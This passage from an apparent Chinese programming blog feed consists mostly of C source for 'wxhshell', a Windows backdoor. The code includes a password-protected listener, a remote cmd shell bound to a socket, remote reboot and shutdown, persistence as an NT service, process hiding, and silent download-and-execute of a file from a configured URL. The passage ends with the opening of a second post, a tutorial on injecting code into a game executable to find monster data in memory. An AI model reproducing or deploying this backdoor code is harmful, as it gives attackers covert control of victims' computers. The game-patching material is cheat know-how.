<p>&nbsp;&nbsp;&nbsp; while(nUser&lt;MAX_USER)<br>&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp; int nSize=sizeof(client);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; wsh=accept(wsl,(struct sockaddr *)&amp;client,&amp;nSize);<br>&nbsp;&nbsp;&nbsp;&nbsp; if(wsh==INVALID_SOCKET) return 1;</p>
<p>&nbsp;&nbsp;handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &amp;myID);<br>&nbsp;&nbsp;if(handles[nUser]==0)<br>&nbsp;&nbsp;&nbsp;closesocket(wsh);<br>&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;nUser++;<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);</p>
<p>&nbsp;&nbsp;&nbsp; return 0;<br>}</p>
<p>// 关闭 socket<br>void CloseIt(SOCKET wsh)<br>{<br>&nbsp;closesocket(wsh);<br>&nbsp;nUser--;<br>&nbsp;ExitThread(0);<br>}</p>
<p>// 客户端请求句柄<br>void TalkWithClient(void *cs)<br>{</p>
<p>&nbsp;&nbsp;&nbsp; SOCKET wsh=(SOCKET)cs;<br>&nbsp;&nbsp;&nbsp; char pwd[SVC_LEN];<br>&nbsp;&nbsp;&nbsp; char cmd[KEY_BUFF];<br>&nbsp;char chr[1];<br>&nbsp;int i,j;</p>
<p>&nbsp;&nbsp;&nbsp; while (nUser &lt; MAX_USER) {</p>
<p>&nbsp;&nbsp;if(wscfg.ws_passstr) {<br>&nbsp;&nbsp;&nbsp;if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);<br>&nbsp;&nbsp;&nbsp;//ZeroMemory(pwd,KEY_BUFF);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;i=0;<br>&nbsp;&nbsp;&nbsp;while(i&lt;SVC_LEN) {</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;// 设置超时<br>&nbsp;&nbsp;&nbsp;&nbsp;fd_set FdRead;<br>&nbsp;&nbsp;&nbsp;&nbsp;struct timeval TimeOut;<br>&nbsp;&nbsp;&nbsp;&nbsp;FD_ZERO(&amp;FdRead);<br>&nbsp;&nbsp;&nbsp;&nbsp;FD_SET(wsh,&amp;FdRead);<br>&nbsp;&nbsp;&nbsp;&nbsp;TimeOut.tv_sec=8;<br>&nbsp;&nbsp;&nbsp;&nbsp;TimeOut.tv_usec=0;<br>&nbsp;&nbsp;&nbsp;&nbsp;int Er=select(wsh+1, &amp;FdRead, NULL, NULL, &amp;TimeOut);<br>&nbsp;&nbsp;&nbsp;&nbsp;if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);<br>&nbsp;&nbsp;&nbsp;&nbsp;pwd[i]=chr[0];<br>&nbsp;&nbsp;&nbsp;&nbsp;if(chr[0]==0xd || chr[0]==0xa) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pwd[i]=0;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;i++;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;// 如果是非法用户，关闭 socket<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);<br>&nbsp;&nbsp;}</p>
<p>&nbsp;&nbsp;send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);<br>&nbsp;&nbsp;&nbsp;&nbsp; send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);</p>
<p>&nbsp;&nbsp;while(1) {</p>
<p>&nbsp;&nbsp;&nbsp;ZeroMemory(cmd,KEY_BUFF);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;// 自动支持客户端 telnet标准&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;j=0;<br>&nbsp;&nbsp;&nbsp;while(j&lt;KEY_BUFF) {<br>&nbsp;&nbsp;&nbsp;&nbsp;if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);<br>&nbsp;&nbsp;&nbsp;&nbsp;cmd[j]=chr[0];<br>&nbsp;&nbsp;&nbsp;&nbsp;if(chr[0]==0xa || chr[0]==0xd) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cmd[j]=0;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;j++;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;// 下载文件<br>&nbsp;&nbsp;&nbsp;if(strstr(cmd,"http://")) {<br>&nbsp;&nbsp;&nbsp;&nbsp;send(wsh,msg_ws_down,strlen(msg_ws_down),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;if(DownloadFile(cmd,wsh))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(wsh,msg_ws_err,strlen(msg_ws_err),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;else {</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;switch(cmd[0]) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 帮助<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case '?': {<br>&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 安装<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 'i': {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(Install())<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(wsh,msg_ws_err,strlen(msg_ws_err),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 卸载<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 'r': {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(Uninstall())<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(wsh,msg_ws_err,strlen(msg_ws_err),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 显示 wxhshell 所在路径<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 'p': {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;char svExeFile[MAX_PATH];<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcpy(svExeFile,"\n\r");<br>&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(svExeFile,ExeFile);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;send(wsh,svExeFile,strlen(svExeFile),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 重启<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 'b': {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(Boot(REBOOT))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(wsh,msg_ws_err,strlen(msg_ws_err),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;closesocket(wsh);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ExitThread(0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 关机<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 'd': {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(Boot(SHUTDOWN))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(wsh,msg_ws_err,strlen(msg_ws_err),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;closesocket(wsh);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ExitThread(0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 获取shell<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 's': {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CmdShell(wsh);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;closesocket(wsh);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ExitThread(0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 退出<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 'x': {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseIt(wsh);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 离开<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 'q': {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(wsh,msg_ws_end,strlen(msg_ws_end),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;closesocket(wsh);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WSACleanup();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(1);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;}</p>
<p>&nbsp;&nbsp;&nbsp;// 提示信息<br>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp; } </p>
<p>&nbsp;&nbsp;&nbsp; return;<br>}</p>
<p>// shell模块句柄<br>int CmdShell(SOCKET&nbsp; sock)<br>{<br>&nbsp;STARTUPINFO si;<br>&nbsp;ZeroMemory(&amp;si,sizeof(si));<br>&nbsp;si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;<br>&nbsp;si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;<br>&nbsp;PROCESS_INFORMATION ProcessInfo;<br>&nbsp;char cmdline[]="cmd";<br>&nbsp;CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&amp;si,&amp;ProcessInfo);<br>&nbsp;&nbsp;&nbsp; return 0;<br>}</p>
<p>// 自身启动模式<br>int StartFromService(void)<br>{<br>&nbsp;typedef struct<br>&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp; DWORD ExitStatus;<br>&nbsp;&nbsp;&nbsp;&nbsp; DWORD PebBaseAddress;<br>&nbsp;&nbsp;&nbsp;&nbsp; DWORD AffinityMask;<br>&nbsp;&nbsp;&nbsp;&nbsp; DWORD BasePriority;<br>&nbsp;&nbsp;&nbsp;&nbsp; ULONG UniqueProcessId;<br>&nbsp;&nbsp;&nbsp;&nbsp; ULONG InheritedFromUniqueProcessId;<br>&nbsp;}&nbsp;&nbsp; PROCESS_BASIC_INFORMATION;</p>
<p>&nbsp;PROCNTQSIP NtQueryInformationProcess;</p>
<p>&nbsp;static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;<br>&nbsp;static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;</p>
<p>&nbsp;&nbsp;&nbsp; HANDLE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hProcess;<br>&nbsp;&nbsp;&nbsp; PROCESS_BASIC_INFORMATION pbi;</p>
<p>&nbsp;&nbsp;&nbsp; HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");<br>&nbsp;&nbsp;&nbsp; if(NULL == hInst ) return 0;</p>
<p>&nbsp;&nbsp;&nbsp; g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");<br>&nbsp;&nbsp;&nbsp; g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");<br>&nbsp;&nbsp;&nbsp; NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");</p>
<p>&nbsp;&nbsp;&nbsp; if (!NtQueryInformationProcess) return 0;</p>
<p>&nbsp;&nbsp;&nbsp; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());<br>&nbsp;&nbsp;&nbsp; if(!hProcess)&nbsp; return 0;</p>
<p>&nbsp;&nbsp;&nbsp; if(NtQueryInformationProcess( hProcess, 0, (PVOID)&amp;pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;</p>
<p>&nbsp;&nbsp;&nbsp; CloseHandle(hProcess);</p>
<p>&nbsp;hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);<br>&nbsp;if(hProcess==NULL)&nbsp;return 0;</p>
<p>&nbsp;HMODULE hMod;<br>&nbsp;char procName[255];<br>&nbsp;unsigned long cbNeeded;</p>
<p>&nbsp;if(g_pEnumProcessModules(hProcess, &amp;hMod, sizeof(hMod), &amp;cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));</p>
<p>&nbsp;&nbsp;&nbsp; CloseHandle(hProcess);</p>
<p>&nbsp;if(strstr(procName,"services")) return 1; // 以服务启动</p>
<p>&nbsp;&nbsp;&nbsp; return 0; // 注册表启动<br>}</p>
<p>// 主模块<br>int StartWxhshell(LPSTR lpCmdLine)<br>{<br>&nbsp;&nbsp;&nbsp; SOCKET wsl;<br>&nbsp;BOOL val=TRUE;<br>&nbsp;&nbsp;&nbsp; int port=0;<br>&nbsp;&nbsp;&nbsp; struct sockaddr_in door;</p>
<p>&nbsp;&nbsp;&nbsp; if(wscfg.ws_autoins) Install();</p>
<p>&nbsp;port=atoi(lpCmdLine);</p>
<p>&nbsp;if(port&lt;=0) port=wscfg.ws_port;</p>
<p>&nbsp;&nbsp;&nbsp; WSADATA data;<br>&nbsp;&nbsp;&nbsp; if(WSAStartup(MAKEWORD(2,2),&amp;data)!=0) return 1;</p>
<p>&nbsp;&nbsp;&nbsp; if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;&nbsp;&nbsp;&nbsp;&nbsp; <br>setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&amp;val,sizeof(val));<br>&nbsp;&nbsp;&nbsp; door.sin_family = AF_INET;<br>&nbsp;&nbsp;&nbsp; door.sin_addr.s_addr = inet_addr("127.0.0.1");<br>&nbsp;&nbsp;&nbsp; door.sin_port = htons(port);</p>
<p>&nbsp;&nbsp;&nbsp; if(bind(wsl, (const struct sockaddr *) &amp;door,sizeof(door)) == INVALID_SOCKET) {<br>&nbsp;&nbsp;closesocket(wsl);<br>&nbsp;&nbsp;return 1;<br>&nbsp;}</p>
<p>&nbsp;&nbsp;&nbsp; if(listen(wsl,2) == INVALID_SOCKET) {<br>&nbsp;&nbsp;closesocket(wsl);<br>&nbsp;&nbsp;return 1;<br>&nbsp;}<br>&nbsp;&nbsp;&nbsp; Wxhshell(wsl);<br>&nbsp;&nbsp;&nbsp; WSACleanup();</p>
<p>&nbsp;return 0;</p>
<p>}</p>
<p>// 以NT服务方式启动<br>VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )<br>{<br>&nbsp;DWORD&nbsp;&nbsp; status = 0;<br>&nbsp;&nbsp;&nbsp; DWORD&nbsp;&nbsp; specificError = 0xfffffff;</p>
<p>&nbsp;&nbsp;&nbsp; serviceStatus.dwServiceType&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = SERVICE_WIN32;<br>&nbsp;&nbsp;&nbsp; serviceStatus.dwCurrentState&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = SERVICE_START_PENDING;<br>&nbsp;&nbsp;&nbsp; serviceStatus.dwControlsAccepted&nbsp;&nbsp; = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;<br>&nbsp;&nbsp;&nbsp; serviceStatus.dwWin32ExitCode&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 0;<br>&nbsp;&nbsp;&nbsp; serviceStatus.dwServiceSpecificExitCode = 0;<br>&nbsp;&nbsp;&nbsp; serviceStatus.dwCheckPoint&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 0;<br>&nbsp;&nbsp;&nbsp; serviceStatus.dwWaitHint&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 0;</p>
<p>&nbsp;&nbsp;&nbsp; hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);<br>&nbsp;&nbsp;&nbsp; if (hServiceStatusHandle==0) return;</p>
<p>&nbsp;status = GetLastError();<br>&nbsp;&nbsp;&nbsp; if (status!=NO_ERROR)<br>&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; serviceStatus.dwCurrentState&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = SERVICE_STOPPED;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; serviceStatus.dwCheckPoint&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 0;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; serviceStatus.dwWaitHint&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 0;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; serviceStatus.dwWin32ExitCode&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = status;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; serviceStatus.dwServiceSpecificExitCode = specificError;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SetServiceStatus(hServiceStatusHandle, &amp;serviceStatus);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return;<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; serviceStatus.dwCurrentState&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = SERVICE_RUNNING;<br>&nbsp;&nbsp;&nbsp; serviceStatus.dwCheckPoint&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 0;<br>&nbsp;&nbsp;&nbsp; serviceStatus.dwWaitHint&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 0;<br>&nbsp;&nbsp;&nbsp; if(SetServiceStatus(hServiceStatusHandle, &amp;serviceStatus)) StartWxhshell("");<br>}</p>
<p>// 处理NT服务事件，比如：启动、停止<br>VOID WINAPI NTServiceHandler(DWORD fdwControl)<br>{<br>&nbsp;switch(fdwControl)<br>&nbsp;{<br>&nbsp;&nbsp;case SERVICE_CONTROL_STOP:<br>&nbsp;&nbsp;&nbsp;serviceStatus.dwWin32ExitCode = 0;<br>&nbsp;&nbsp;&nbsp;serviceStatus.dwCurrentState&nbsp; = SERVICE_STOPPED;<br>&nbsp;&nbsp;&nbsp;serviceStatus.dwCheckPoint&nbsp;&nbsp;&nbsp; = 0;<br>&nbsp;&nbsp;&nbsp;serviceStatus.dwWaitHint&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 0;<br>&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;SetServiceStatus(hServiceStatusHandle, &amp;serviceStatus);<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;return;<br>&nbsp;&nbsp;case SERVICE_CONTROL_PAUSE:<br>&nbsp;&nbsp;&nbsp;serviceStatus.dwCurrentState = SERVICE_PAUSED;<br>&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;case SERVICE_CONTROL_CONTINUE:<br>&nbsp;&nbsp;&nbsp;serviceStatus.dwCurrentState = SERVICE_RUNNING;<br>&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;case SERVICE_CONTROL_INTERROGATE:<br>&nbsp;&nbsp;&nbsp;break;<br>&nbsp;};<br>&nbsp;&nbsp;&nbsp; SetServiceStatus(hServiceStatusHandle,&nbsp; &amp;serviceStatus);<br>}</p>
<p>// 标准应用程序主函数<br>int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)<br>{</p>
<p>&nbsp;// 获取操作系统版本<br>&nbsp;OsIsNt=GetOsVer();<br>&nbsp;GetModuleFileName(NULL,ExeFile,MAX_PATH);</p>
<p>&nbsp;&nbsp;&nbsp; // 从命令行安装<br>&nbsp;&nbsp;&nbsp; if(strpbrk(lpCmdLine,"iI")) Install();</p>
<p>&nbsp;&nbsp;&nbsp; // 下载执行文件<br>&nbsp;if(wscfg.ws_downexe) {<br>&nbsp;&nbsp;if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)<br>&nbsp;&nbsp;&nbsp;WinExec(wscfg.ws_filenam,SW_HIDE);<br>&nbsp;}</p>
<p>&nbsp;if(!OsIsNt) {<br>&nbsp;&nbsp;// 如果时win9x，隐藏进程并且设置为注册表启动<br>&nbsp;&nbsp;HideProc();&nbsp;&nbsp;<br>&nbsp;&nbsp;StartWxhshell(lpCmdLine);<br>&nbsp;}<br>&nbsp;else<br>&nbsp;&nbsp;&nbsp;&nbsp; if(StartFromService())<br>&nbsp;&nbsp;&nbsp;// 以服务方式启动<br>&nbsp;&nbsp;&nbsp;StartServiceCtrlDispatcher(DispatchTable);<br>&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;// 普通方式启动<br>&nbsp;&nbsp;&nbsp;StartWxhshell(lpCmdLine);</p>
<p>&nbsp;return 0;<br>}</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<br>
<img src ="http://www.cppblog.com/niewenlong/aggbug/28537.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/niewenlong/" target="_blank">聂文龙</a> 2007-07-22 00:14 <a href="http://www.cppblog.com/niewenlong/archive/2007/07/22/28537.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>内存中找怪物之代码注入篇</title><link>http://www.cppblog.com/niewenlong/archive/2007/07/21/28474.html</link><dc:creator>聂文龙</dc:creator><author>聂文龙</author><pubDate>Fri, 20 Jul 2007 17:39:00 GMT</pubDate><guid>http://www.cppblog.com/niewenlong/archive/2007/07/21/28474.html</guid><wfw:comment>http://www.cppblog.com/niewenlong/comments/28474.html</wfw:comment><comments>http://www.cppblog.com/niewenlong/archive/2007/07/21/28474.html#Feedback</comments><slash:comments>4</slash:comments><wfw:commentRss>http://www.cppblog.com/niewenlong/comments/commentRss/28474.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/niewenlong/services/trackbacks/28474.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font size=3>网上看了N多的文章，对内存中找怪极少有详细介绍，大多数人搞定人物内存中的有关参数后，止步于内存中的找怪。人物只有一个，而怪有各种各样的，数量又同时出现多个,比在内存中找人物坐标难度要大得多。<br>&nbsp; &nbsp;&nbsp; &nbsp;下面我将尽可能详细的讲讲内存中找怪之代码注入篇，抛砖引玉，望高人指点。这里的代码注入是直接把代码注入到游戏文件中，学个破解的人都知道，哪怕游戏原文件加了壳，在游戏原文件中加入自己的代码也是完全可以的。<br>&nbsp; &nbsp;&nbsp; &nbsp;由于本人水平有限，有的地方可能表达不清，请耐心慢慢看。有的地方采取的方法也许对高手来说好低劣，见笑了。<br></font><strong><font size=4>一、把周围的怪物名称起始地址集中写到内存中一固定区域。</font></strong><font size=4></font><font size=3>游戏中，玩家周围有许多怪物，所有怪物的名称、坐标、血量等参数不可能会固定在某一内存位置，但对于每一个怪物而言，它的名称、</font><font size=3>坐标、血量等在内存中的地址之间有着相对固定的差值，只要知道怪物的名称地址就能知道这个怪物的坐标、血量等地址。因此，只要把周围</font><font size=3>每个怪物的名称地址固定在内存中一定区域，就可知道这些怪物的其他参数。</font><br><font size=3>&nbsp; &nbsp;&nbsp; &nbsp;<strong>1</strong>、先把游戏中我们需要打的怪物名称（不是所有怪物，因为有的怪物不爆东西等不值得打）固定放到内存地址为004d2a60起的一块区域，制做</font><font size=3>一张需要打的怪物名称列表。每个怪名称占12字节，不够12字节的后面用00填充。<br>&nbsp; &nbsp; 内存地址：004d2a60是怎样来的呢？<br>&nbsp; &nbsp; 我们用PEditor打开游戏原文件，可以看到PE文件分了好多块，有的块是可以改写的（属性为E0000020或C0000040的可以改写），块里并不全</font><font size=3>部写满了数据，还有大块连续为00的空闲区域。用UltraEdit等软件打开游戏文件，看到文件物理地址为000d2a60起有一大块为00的空闲区域</font><font size=3>。映射到内存中就是地址为004d2a60起一块为00的空闲区域，我们先把怪物名称写到这块地方。</font><br><font size=3>&nbsp; &nbsp; 具体操做是用UltraEdit打开游戏文件，修改</font><font size=3>文件物理地址为000d2a60起的数据。原文件中这里全部为00，我们把下面数据填进去（部分怪物名称列表）。</font><br><font 